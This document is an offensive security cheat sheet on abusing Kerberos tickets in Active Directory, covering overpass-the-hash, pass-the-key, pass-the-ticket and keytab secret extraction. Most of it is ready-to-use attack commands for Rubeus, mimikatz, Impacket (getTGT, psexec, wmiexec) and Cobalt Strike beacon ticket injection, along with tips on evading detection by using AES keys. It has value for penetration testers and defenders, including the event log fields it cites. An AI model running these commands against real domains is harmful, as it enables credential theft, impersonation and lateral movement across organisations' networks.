Exploitation - Kerberos tickets usage

Overview

Kerberos is an authentication protocol used within Active Directory that rely on the use of tickets to identify users and grant access to domain resources. To do so, Kerberos implements two type of tickets, issued by two distinct services of the Key Distribution Center (KDC):

  • Ticket-Granting Ticket (TGT), obtained from the Authentication Service (AS).

  • service tickets, obtained from the Ticket-Granting Service (TGS).

A valid TGT is necessary in order to request service tickets, which in turn grant access to service accounts (user or machine domain accounts that have a ServicePrincipalName (SPN)).

Overpass-the-hash / Pass the Key (PTK) are the actions of using, respectively, the NTLM hash or the Kerberos secrets (RC4 key, corresponding to the NTLM hash, or the AES 128/256 bits keys) of an user to request a Kerberos TGT.

Pass-the-ticket (PtT) is the action of directly using Kerberos tickets (TGTs or service tickets) with out a request to the KDC. On Windows systems, the tickets can be directly injected in the current logon session while on Linux systems Kerberos tickets file can be provided to utilities supporting the Kerberos authentication.

Overpass-the-hash / Pass the Key (PTK)

Plaintext password to RC4 / AES keys

Knowledge of an account Kerberos keys allows to control which ticket encryption type will be used by the KDC when overpassing-the-hash / passing the key. As AES is generally used by the KDC for legitimate Kerberos authentication (since Windows Server 2008), using the AES keys may help blending in normal authentication traffic.

The tickets encryption type are logged in the Ticket Encryption Type field of the Windows Security events 4768: A Kerberos authentication ticket (TGT) was requested and 4769: A Kerberos service ticket was requested.

Note that the Kerberos RC4 key corresponds to the NTLM hash of an account.

The Ticket Encryption Type field may take the following values:

Value
Encryption type
Note

0x1

DES-CBC-CRC

Disable by default since Windows Server 2008 R2 / Windows 7.

0x3

DES-CBC-MD5

Disable by default since Windows Server 2008 R2 / Windows 7.

0x11

AES128-CTS-HMAC-SHA1-96

Introduced in Windows Server 2008 / Windows Vista.

0x12

AES256-CTS-HMAC-SHA1-96

Introduced in Windows Server 2008 / Windows Vista.

0x17

RC4-HMAC

Default encryption type before Windows Server 2008 / Windows Vista.

0x18

RC4-HMAC-EXP

Default encryption type before Windows Server 2008 / Windows Vista.

The DSInternals PowerShell ConvertTo-NTHash and ConvertTo-KerberosKey cmdlets can be used to convert a plaintext password to, respectively, RC4 and AES128 / AES256 keys.

$CleartextPassword = ConvertTo-SecureString -String '<PASSWORD>' -AsPlainText -Force

# Returns the NTLM hash / RC4 key from a given password.
ConvertTo-NTHash -Password $CleartextPassword

# Returns the Kerberos keys (AES256, AES128, DES) and from a given password.
# The Kerberos keys are derived from a salt based on the Kerberos realm and account name.
# For user account: <SALT> = uppercase Kerberos realm + case sensitive SamAccountName. Example: LAB.ADAdministrator.
# For machine account: <SALT> =  Kerberos realm + host keyword + lowercase SamAccountName with out $ + lowercase Kerberos realm. Example: LAB.ADhostdc1.lab.ad
ConvertTo-KerberosKey -Password $CleartextPassword -Salt '<SALT>'

Additionally, Rubeus's asktgt module supports TGT requests using a password, and the encryption type can then be specified using the /enctype option.

TGT Kerberos tickets requests

Knowing any user's Kerberos secret.

The Rubeus's asktgt module or the Impacket's getTGT.py Python script can be used to request TGTs using an user's password, NTLM hash (equivalent to the Kerberos RC4 key), or Kerberos secrets.

If RC4_HMAC-MD5 is disabled at a domain level, requesting Kerberos TGT will require either the account password or its AES128 or AES256 key. Trying to request a TGT using RC4 key in such environment will result in a KDC_ERR_ETYPE_NOTSUPP error.

# ptt: Directly injects the received TGT in the current logon session. The current logon session TGT will be overwritten.
# In any case, the received TGT, encoded in base64, will be printed (KRB-CRED format).
Rubeus.exe asktgt /user:<USERNAME> /password:<PASSWORD> [/enctype:<rc4 | aes128 | aes256>] /ptt
Rubeus.exe asktgt /user:<USERNAME> [/rc4:<NTLM_HASH> | /aes128:<AES_128BITS_KEY> | /aes256:<AES_256BITS_KEY>] /ptt
Rubeus.exe asktgt /dc:<DC_IP | DC_HOSTNAME> /domain:<DOMAIN> /user:<USERNAME> [/password:<PASSWORD> | /rc4:<NTLM_HASH> | /aes128:<AES_128BITS_KEY> | /aes256:<AES_256BITS_KEY>] /ptt

# The received TGT will be exported to a file in the credential cache format.
python getTGT.py [-dc-ip <DC_IP>] <DOMAIN>/<USERNAME>:[<PASSWORD>]
python getTGT.py [-dc-ip <DC_IP>] -hashes ":<NTLM>" <DOMAIN>/<USERNAME>
# Recommended if possible in a covert scenario, as the AES keys are used by default by Microsoft.
python getTGT.py [-dc-ip <DC_IP>] -aesKey <AES_128BITS_KEY | AES_256BITS_KEY> <DOMAIN>/<USERNAME>

Using the current user's security context.

A TGT can be retrieved for the current user using its security context with out the need of knowing the user's credentials.

This is possible due to the way Kerberos unconstrained delegations are implemented: the user must provide a TGT to the principal trusted for the unconstrained delegation (such as the Domain Controller machine accounts). As the current user's TGT cannot be forwarded directly (as it may be linked to the current user IP address), a request for a forwardable (forwarded attribute set) TGT is requested by the client. This result in the retrieval client-side of an AP-REQ message containing a KRB_CRED struct with the TGT (encrypted with the key sent by the KDC for the session).

The Rubeus's tgtdeleg or Kekeo's tgt::deleg modules can be used to conduct this technique and retrieve a TGT for the current user:

# If an SPN trusted for unconstrained delegation cannot be automatically found by Rubeus, it can be specified using the /target:<SPN> option.
Rubeus.exe tgtdeleg

kekeo # tgt::deleg

Automated ticket extraction from Rubeus output.

If needed, the retrieved Kerberos tickets can be automatically extracted from Rubeus output (for example from the tgtdeleg module) using the PowerShell script below:

$tgtdeleg_res = Invoke-Rubeus -Command "tgtdeleg"
$tmp = $tgtdeleg_res -replace "`t|`n|`r",""
$tmp -match "ticket.kirbi\):(?<content>.*)"

$TGT = $matches['content'] -replace '\s',''

Pass-the-ticket (PtT)

[Windows / Linux] Direct requests of service tickets

On Windows, the Rubeus's asktgs module can be used to request service tickets using a valid TGT:

# ptt: Directly injects the received service ticket in the current logon session.

Rubeus.exe asktgs /ticket:<TGT_BASE64 | TGT_KIRBI_FILE_PATH> /service:<TARGET_SERVICE_SPN | TARGET_SERVICES_SPN> /ptt

[Windows] Injection into the current session

Kerberos tickets, in the credential format KRB_CRED (KIRBI file), can be injected into the current logon session using mimikatz or Rubeus.

Both utilities leverage the Windows LsaCallAuthenticationPackage/KerbSubmitTicketMessage API and will overwrite the current logon session tickets.

# If necessary, decodes a ticket in base64 (from Rubeus for example) to the KRB_CRED format.
cat <TICKET_BASE64_FILE_PATH> | tr -d "[:space:]" | base64 --decode > <TICKET_KIRBI_FILE_PATH>

# Injects into memory a ticket in the KRB_CRED format.
Rubeus.exe ptt /ticket:<TICKET_BASE64 | TICKET_BASE64_FILE_PATH | TICKET_KIRBI_FILE_PATH>
mimikatz.exe "kerberos::ptt <TICKET_KIRBI_FILE_PATH>" exit

Cobalt Strike 's make_token and kerberos_ticket_use beacon commands may be used to inject tickets with out overwriting the ones cached in the current logon session:

# Requires elevated privileges.
beacon> make_token <DOMAIN>\<USERNAME> "PasswordNotRequired"
beacon> kerberos_ticket_use <C2_TICKET_KIRBI_FILE_PATH>

# Does not requires a elevated privileges. Create a new beacon in a sacrificial process to protect the current beacon logon session tickets.
# The use of the make_token command is still necessary as both beacon share the same logon session.
original_beacon> make_token <DOMAIN>\<USERNAME> "PasswordNotRequired"
original_beacon> run <C:\Windows\System32\cmd.exe | BINARY_PATH>
original_beacon> ps
original_beacon> inject <NEW_PROCESS_PID> <x86 | x64> <LISTENER>
new_beacon> kerberos_ticket_use <C2_TICKET_KIRBI_FILE_PATH>

# Reverts the logon session created using the make_token command, so the original logon session's tickets are restored.
beacon | original_beacon> rev2self

The Kerberos tickets cached in the current logon session can be listed using the Windows built-in klist utility, Rubeus's klist module, or mimikatz's kerberos::list command:

klist

Rubeus.exe klist

mimikatz.exe "kerberos::list" exit
mimikatz.exe "kerberos::list /export" exit

[Linux] Credential cache (ccache)

Kerberos tickets can be converted from the KRB_CRED format to the credential cache (ccache) format to be used with, among others, the Impacket's Python utilities. If a TGT is provided, the Impacket's utilities will try to obtain the necessary service tickets through request to the KDC.

Note that impackets utilities can only make use of a single Kerberos tickets at a time, which limits the possible usage of the utilities with service tickets.

Refer to the [Windows] Lateral movements for more information on how to leverage the Impacket suite for lateral movements in a Windows environment.

# If necessary, decodes a ticket in base64 (from Rubeus for example) to the KRB_CRED format.
cat <TICKET_BASE64_FILE_PATH> | tr -d "[:space:]" | base64 --decode > <TICKET_KIRBI_FILE_PATH>

# If necessary, converts the TGT from KRB_CRED to ccache.
ticketConverter.py  <TICKET_KIRBI_FILE_PATH> <TICKET_CCACHE_FILE_PATH>

# Loads the ticket from the specified file.
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>

# Loads all the tickets in the specified directory. The tickets filename must follow the filename tkt*.
# Unfortunately loading Kerberos tickets from a directory is not a wildy supported feature.
export KRB5CCNAME=DIR:<TICKETS_CCACHE_DIR_PATH>

# Usage of the TGT through Impacket's utilities.
psexec.py -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
smbexec.py [-service-name <SERVICE_NAME>] -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
wmiexec.py [-service-name <SERVICE_NAME>] -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
[...]

The klist utility form the krb5-user (Debian based distro) or krb5 package may be used to list the current tickets:

klist -A

[Linux / Windows] Keytab

Keytab are files that contain one or multiple key entries. Each entry is composed of a principal (Kerberos realm and account name) and an associated Kerberos secret (RC4 or AES 128 / 256 bits keys), stored encrypted. Keytab files can be used to request Kerberos tickets without the need of reentering a password, and are thus particularly useful for service accounts interacting with a directory service from non-Windows systems. Keytab files can be retrieved, for example, from Linux systems with service accounts using the Kerberos protocol.

The keytabextract.py Python script can be used to extract and decrypt the Kerberos secrets, RC4 (corresponding to the NTLM hash) or AES keys, from a given keytab file:

python3 keytabextract.py <KEY_TAB>

Additionally, the kinit, ktutil and klist utilities form the krb5-user (Debian based distro) or krb5 package may be used to interact with keytab files. Note that a keytab file is fully independent of the computer it's been created on, its filename, and its location in the file system.

# Lists the key entries' principal contained in the specified keytab file.
klist -k <KEY_TAB>

# Requests a Kerberos ticket using the specified keytab file.
# The retrieved ticket will be placed in cache and stored on the local file system in the ccache format (path can be retrieved using klist).
# The KDC (of the realm from the keytab) must be reachable from the system on which the command is executed.
# The <PRINCIPAL> format example: '<ACCOUNT_NAME>@<FULLY_QUALIFIED_DOMAIN>'.
kinit -k -t <KEY_TAB> '<PRINCIPAL>'

References

https://www.sstic.org/media/SSTIC2014/SSTIC-actes/secrets_dauthentification_pisode_ii__kerberos_cont/SSTIC2014-Article-secrets_dauthentification_pisode_ii__kerberos_contre-attaque-bordes_2.pdf https://www.ssi.gouv.fr/uploads/IMG/pdf/Aurelien_Bordes_-Secrets_d_authentification_episode_II_Kerberos_contre-attaque--_planches.pdf https://remivernier.com/index.php/2018/07/07/kerberos-exploration/ https://docs.microsoft.com/en-us/archive/blogs/openspecification/understanding-microsoft-kerberos-pac-validation https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don't-Get-It.pdf https://cyberwardog.blogspot.com/2017/04/chronicles-of-threat-hunter-hunting-for.html https://gist.github.com/HarmJ0y/dc379107cfb4aa7ef5c3ecbac0133a02 https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a https://github.com/GhostPack/Rubeus https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/ConvertTo-KerberosKey.md https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/ConvertTo-NTHash.md

Last updated